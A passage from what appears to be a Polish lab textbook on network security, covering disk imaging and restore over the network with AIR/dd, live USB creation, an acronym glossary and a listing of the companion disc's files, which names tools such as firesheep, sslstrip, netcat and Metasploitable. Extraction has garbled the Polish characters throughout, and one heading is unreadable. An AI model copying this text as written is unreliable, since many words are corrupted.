Rys. 10.12. Konfiguracja �ródła obrazu po stronie magazynu obrazów 

	ródło: opracowanie własne. 

Rys. 10.13 przedstawia wygl�d prawidłowo skonfigurowanej aplikacji, przed 
przyst�pieniem do dalszych czynno�ci zweryfikuj poprawno�� wprowadzonych 
zmian. 
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Rys. 10.13. Widok prawidłowo skonfigurowanej aplikacji po stronie magazynu obrazów  

	ródło: opracowanie własne. 

Po wybraniu przycisku Start aplikacja przejdzie w tryb nasłuchu, oczekuj�c 
polaczenia na wskazanym porcie. Wybranie przycisku Show Status Windows… 
umo�liwia �ledzenie post�pów na bie��co. 

10.6.9. Przejd� do Wirtualnej Maszyny z systemem BackTrack 4. 

10.6.10. Na partycji sdb1 zapisz plik testowy o nazwie wa�ne.txt, nast�pnie 
odmontuj partycje sdb1 poleceniem: 

umount /media/sdb1/ 

10.6.11. Uruchom program AIR dokładnie w ten sam sposób co poprzednio. 
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10.6.12. Tym razem jako Source ustaw wła�ciwe �ródło, czyli dysk sdb, przycisk 
SDB -> Set as Source (rys. 10.14). 

 
Rys. 10.14. Konfiguracja �ródła obrazu w systemie, na którym wykonany b�dzie obraz  

	ródło: opracowanie własne. 

10.6.13. Jako miejsce zapisu obrazu wybierz NET -> Destination, wpisz adres 
IP magazynu obrazów 172.16.1.5 oraz port, na który wysyłane b�d� 
dane 12345 (rys. 10.15). 

 
Rys. 10.15. Konfiguracja miejsca zapisu obrazu w systemie, na którym wykonany b�dzie obraz 

	ródło: opracowanie własne. 
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Poni�szy rysunek przedstawia prawidłow� konfiguracj� po stronie systemu, 
na którym wykonany zostanie obraz. Przed przyst�pieniem do dalszych czynno�ci 
zweryfikuj poprawno�� wprowadzonych zmian. 

 
Rys. 10.16. Widok prawidłowo skonfigurowanej aplikacji systemu,  

na którym wykonany zostanie obraz 
	ródło: opracowanie własne. 

10.6.14. Po wybraniu przycisku Start aplikacja zapyta czy pod wskazanym 
adresem uruchomiona i prawidłowo skonfigurowana jest aplikacja AIR, 
wybierz Yes. W kolejnym komunikacie wybierz MD5 jako sposób 
poprawno�ci weryfikacji przesyłanych danych (rys. 10.17). 

 
Rys. 10.17. Wybór weryfikacji poprawno�ci przesyłanych danych 

	ródło: opracowanie własne. 
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Po wyborze tej opcji rozpocznie si� proces tworzenia i przesyłania obrazu, 
jego post�py mo�esz �ledzi�, wybieraj�c przycisk Show Status Windows … Po 
wykonaniu obrazu wy�wietlona zostanie statystyka oraz porównane zostan� 
hashe MD5 w celu weryfikacji poprawno�ci przesłanego obrazu  

10.6.15. Po uko�czeniu procesu trwo�enia obrazu zamontuj partycj� sdb1: 

mount /dev/sdb1 /mnt/data 

i usu� z niej plik testowy wa�ne.txt a nast�pnie ponownie j� odmontuj.  

10.6.16. Zmie� konfiguracje aplikacji AIR na obu systemach zgodnie z rysunkami  
rys. 10.18-rys. 10.1910.8-10.19. Uruchom najpierw aplikacje na systemie BackTrack 4,  
                                   nast�pnie na Ubuntu 10.10. 

 
Rys. 10.18. Konfiguracja AIR na komputerze w którym przywrócony ma by� obraz 

	ródło: opracowanie własne. 
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Rys. 10.19. Konfiguracja AIR na komputerze w którym przechowywany jest obraz 

	ródło: opracowanie własne. 

10.6.17. Po zako�czeniu procesu przywracania zamontuj partycj� i sprawd� jej 
zawarto��, je�eli na partycji znajduje si� plik wa�ne.txt oznacza to, �e 
obraz przywrócono prawidłowo i udało si� odzyska� utracone dane.  

10.7. P�"�(#�#��� �������/ #��(#�$���-�1 �� 

Dystrybucje systemów operacyjnych, w szczególno�ci systemów z rodziny 
Linux, uruchamiane z płyt CD/DVD zawieraj�cych prekonfigurowane �rodowiska 
przeznaczone do wyspecjalizowanych celów ciesz� si� spor� popularno�ci�. 
Zalet� takich dystrybucji jest niedokonywanie jakichkolwiek zmian na systemowych 
dyskach twardych, co ułatwia zachowanie porz�dku i pozwala na unikni�cie 
kłopotów zwi�zanych z ewentualnym brakiem zgodno�ci pomi�dzy ró�nymi 
systemami operacyjnymi korzystaj�cymi z tych samych wolumenów fizycznych 
b�d� logicznych. Rozszerzeniem dystrybucji na płytach optycznych s� 
dystrybucje uruchamiane z dysków USB, z których cz��� oferuje mo�liwo�� 
tworzenia tzw. Live Persistence, czyli nanoszenia trwałych zmian w systemie 
plików (pierwotne dystrybucje live wykorzystywały tworzony w czasie startu 
systemu RAMdysk, tak wi�c wszelkie zmiany w �rodowisku wykonane przez 
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u�ytkownika były tracone po restarcie komputera), co pozwala na instalowanie 
programów, zmian� parametrów �rodowiska itd. Przed wyborem dystrybucji 
nale�y sprawdzi�, czy obsługuje ona opcj� persistence. Równie� wybieraj�c 
program do instalacji sysemu Linux na no�niku USB trzeba dopilnowa�, aby 
obsługiwał on tak� opcj� instalacji. Oczywi�cie aby móc skorzysta� z dystrybucji 
f, system komputerowy musi mie� mo�liwo�� bootowania z dysku USB (cho� 
istniej� metody, które pozwalaj� na bootowanie z dysku CD/DVD, a nast�pnie 
prac� na systemie zainstalowanym na USB). Jednym z mo�liwych zastosowa� 
dystrybucji liveUSB jest przygotowanie �rodowiska do wykonywania kopii 
zapasowych, przy wykorzystaniu opisanego powy�ej programu dd i nakładki 
AIR. Tego rodzaju rozwi�zanie mo�e by� u�yteczne przede wszystkim z tego 
powodu, �e jednym z problemów wykonywania kopii zapasowych wolumenów 
systemowych pod kontrol� uruchomionego z nich systemu operacyjnego jest 
potencjalna utrata integralno�ci plików wykorzystywanych przez system. 
Najprostsz� metod� obej�cia tego problemu jest uruchomienie systemu z innego 
ni� kopiowany dysku (o ile oczywi�cie nie ma specjalnych wymogów odno�nie 
do ci�gło�ci działania komputera, którego kopi� nale�y wykona�). 

Najprostszym sposobem przygotowania dysku liveUSB jest skorzystanie  
z jednego z kliku programów generuj�cych odpowiednie no�niki. Istniej� zarówno 
instalatory obsługuj�ce kilka ró�nych dystrybucji systemu, jak i programy 
secjalizowane dla jednej dystrybucji. W niniejszym �wiczeniu posłu�ymy si� 
programem wspieraj�cym dystrybucj� Fedora (Fedora Live USB Creator 
https://fedorahosted.org/liveusb-creator); z programów uniwersalnych mo�na 
wspomnie� o Universal USB Installer http://www.pendrivelinux. com/universal-
usb-installer-easy-as-1-2-3/, który wspiera kilkadziesi�t ró�nych dystrybucji, 
natomiast w wersji dost�pnej w chwili pisania niniejszego skryptu, jakkolwiek 
potrafił wygenerowa� live USB dla dystrybucji Fedora, to nie wspiera opcji 
persistence.  

Standardowo Virtual Box nie instaluje wszystkich sterowników do obsługi 
dysków USB, dlatego te� konieczne b�dzie ich doinstalowanie. 
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10.7.1. Włó� dysk USB do portu komputera. Na pasku narz�dzi maszyny 
wirtualnej wybierz prawym przyciskiem myszki narz�dzie konfigurowania 
urz�dze� USB. 

 
Rys. 10.20. Narz�dzie konfigurowania urzadze� USB na maszynie wirtualnej 

	ródło: opracowanie własne. 

10.7.2. Z menu rozwijalnego wybierz Nieznane urz�dzenie” . 

 
Rys. 10.21. Urz�dzenia USB rozpoznawane przez maszyn� wirtualn� 

	ródło: opracowanie własne. 

Rozpocznie si� instalacja sterowników dysku USB dla maszyny wirtualnej. 
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Rys. 10.22. Instalacja sterowników VirtualBox USB 

	ródło: opracowanie własne. 

10.7.3. Zatwierd� instalacj� sterowników, które nie przeszły testów zgodno�ci  
z systemem Windows XP (wybierz opcj� Mimo to kontynuuj). 

 
Rys. 10.23. Potwierdzenie instalacji sterowników VirtualBox USB 

	ródło: opracowanie własne. 
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10.7.4. Po zako�czeniu instalacji sterowników zamknij maszyn� wirtualn�, 
uruchom ponownie maszyn� fizyczn� i maszyn� wirtualn�. 

 
Rys. 10.24. Zako�czenie instalacji sterowników VirtualBox USB  

	ródło: opracowanie własne. 

10.7.5. Przekopiuj plik liveusb-creator-3.10.0-setup.exe z płyty doł�czonej do 
ksi��ki na dysk twardy (uwaga: nie na dysk USB, ale na wirtualny dysk 
twardy) wirtualnej maszyny z systemem Windows 7 b�d� z tej�e maszyny 
wejd� przegl�dark� na stron� https://fedorahosted.org/liveusb-creator/  
i pobierz najnowsz� wersj�. 
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10.7.6. Uruchom program instalacyjny i wybierz opcj� Install. 

 
Rys. 10.25. Okno program instalacyjnego 

	ródło: opracowanie własne. 

10.7.7. Podczas instalacji wy�wietli si� okienko z pytaniem o uruchomienie 
programu LiveUSB Creator. Wybierz opcj� Tak. 

 
Rys. 10.26. Uruchamianie LiveUSB Kreator 

	ródło: opracowanie własne. 
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10.7.8. Wybierz z listy: odpowiedni� dystrybucj� (dla procesorów Intel b�dzie to 
domy�lne Fedora 14 i686), dysk USB, na którym ma znale�� si� system 
oraz ilo�� miejsc, jaka ma by� przeznaczona na dane persistent (je�li nie 
zamierzasz przechowywa� na dysku USB innych – poza systemem linux 
– danych mo�esz zaznaczy� cały dost�pny obszar), a nast�pnie wybierz 
Create live USB.  

 
Rys. 10.27. Tworzenie dysku Live USB 

	ródło: opracowanie własne. 
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10.7.9. Je�li Twój dysk zawiera inn� dystrybucj� live, która miałaby by� 
wymazana, w trakcie instalacji zostanie wy�wietlone kolejne ostrze�enie. 
Zatwierd� wymazanie danych z dysku USB. Program pobierze obraz 
instalacji z Internetu oraz zainstaluje go na dysku USB. 

 
Rys. 10.28. Pobieranie obrazu i instalacja Live USB  

	ródło: opracowanie własne. 

10.7.10. Po zako�czeniu instalacji uruchom komputer z dysku USB.  

Mo�esz teraz pracowa� pod kontrol� systemu Fedora, podobnie jak  
w przypadku zwykłej instalacji na dysku twardym. Jednym z istotnych wyj�tków 
jest sposób aktualizacji j�dra systemu. Odwied� stron� http://fedoraproject.org/ 
wiki/FedoraLiveCD/USBHowTo, aby zapozna� si� ze szczegółami dotycz�cymi 
obsługi dystrybucji LiveUSB 
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AIR, Automated Image and Restore – interfejs graficzny dla aplikacji dd. 
ARP, Address Resolution Protocol – protokół odpowiedzialny za powi�zanie 

adresów IP z adresami MAC 
CA, Certificate Authority – Centrum certyfikacyjne 
DHCP, Dynamic Host Configuration Protocol – protokół dynamicznej konfiguracji 

hosta 
DNS, Domain Name System – system nazw domenowych 
DNSSec, Domain Name System Security Extensions – rozwini�cie protokołu DNS 

zwi�kszaj�ce jego bezpiecze�stwo 
DoS, Denial Of Service – atak odmowy usługi 
EULA, End-User Licence Agreement – licencja u�ytkownika ko�cowego 
FTP, File Transfer Protocol – protokół transferu plików 
HTML, HyperText Markup Language – j�zyk znaczników hipertekstu 
HTTP, HyperText Transfer Protocol – protokół przesyłania dokumentów 

hipertekstowych 
HTTPS, HyperText Transfer Protocol over Secure Socket Layer – szyfrowana 

wersja protokołu http 
ICMP, Internet Control Message Protocol – internetowy protokół komunikatów 

kontrolnych, cz��� protokołu IP 
IDE, Integrated Device Electronics – standard komunikacji pami�ci masowych 
IP, Internet Protocol – protokół internetowy 
KSK, Key Signing Key – klucz słu��cy do podpisu kluczy stref DNS 
LAN, Local Area Network – sie� lokalna 
MAC, Media Access Control – adres fizyczny karty sieciowej 
MITM, Man-in-the-Middle – atak polegaj�cy na podsłuchu i modyfikacji danych 

przesyłanych przez sie� 
NAT, Network Address Translation – translacja adresów sieciowych 
PKI, Public Key Infrastructure – Infrastruktura Klucza Publicznego 
RAM, Random-Access Memory – pami�� operacyjna 
SATA, Serial Advanced Technology Attachment – standard komunikacji pami�ci 

masowych 
SSH, Secure Shell – bezpieczny protokół wymiany danych 
SSL, Secure Socket Layer – protokół zapewniaj�cy poufno�� i integralno�� danych 

oraz uwierzytelnianie serwera 
TCP, Transmission Control Protocol – protokół kontroli transmisji 
TOR, The Onion Router – router cebulowy 
UAC, User Account Control – mechanizm kontroli konta u�ytkownika 
UDP, User Datagram Protocol – protokół pakietów u�ytkownika 
USB, Universal Serial Bus – uniwersalna magistrala szeregowa 
VPN, Virtual Private Network – wirtualne sieci prywatne 
WAN, Wide Area Network – sie� rozległa 
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• Katalog: \DNS-Spoofing 

- Unbound 1.4.7.exe 
 

• Katalog: \Honeypot 
- bss1.txt 

 
• Katalog: \Kopie zapasowe 

- Copying.txt 
- cryptcat.exe 
- dd.exe 
- ddchanges.txt 
- doexec.c 
- farm9 Public License Agreement.txt 
- farm9 README.txt 
- generic.h 
- getopt.c 
- getopt.h 
- hobbit.txt 
- license.txt 
- makefile 
- nc.exe 
- netcat.c 
- readme.txt 

 
• Katalog: \Przygotowanie �rodowiska\vbox 

- VirtualBox 3.2.10 Ubuntu i386.deb 
- VirtualBox 3.2.10 Windows.exe 

 
• Katalog: \Przygotowanie �rodowiska\vm 

- BackTrack_4R2.vdi.7z 
- Debian_5.vdi.zip 
- Metasploitable.vdi.zip 
- TurnKey.vdi.zip 
- Ubuntu_10.10.vdi.zip 

 
• Katalog: \SSL 

- Firefox Setup 3.6.13.exe 
- firesheep-0.1-1.xpi 
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- firesheep-config-ssl.bss.txt 
- ssl.bss 
- sslstrip-0.7.tar.gz 
- WinPcap_4_1_2.exe 

 
• Katalog: \TOR 

- vidalia-bundle-0.2.1.26-0.2.10-1.exe 
 

• Katalog: D:\VPN\klientA 
- ca.crt 
- client.conf 
- clientA.crt 
- clientA.key 

 
• Katalog: D:\VPN\klientB 

- ca.crt 
- client.ovpn 
- clientB.crt 
- clientB.key 

 
• Katalog: \VPN\serwer 

- ca.crt 
- dh1024.pem 
- server.conf 
- server.crt 
- server.key 

 
• Katalog: \PKI 

- index.html 
- login.php 

 
• liveusb-creator-3.10.0-setup 
• MD5 CHECKSUM.txt 
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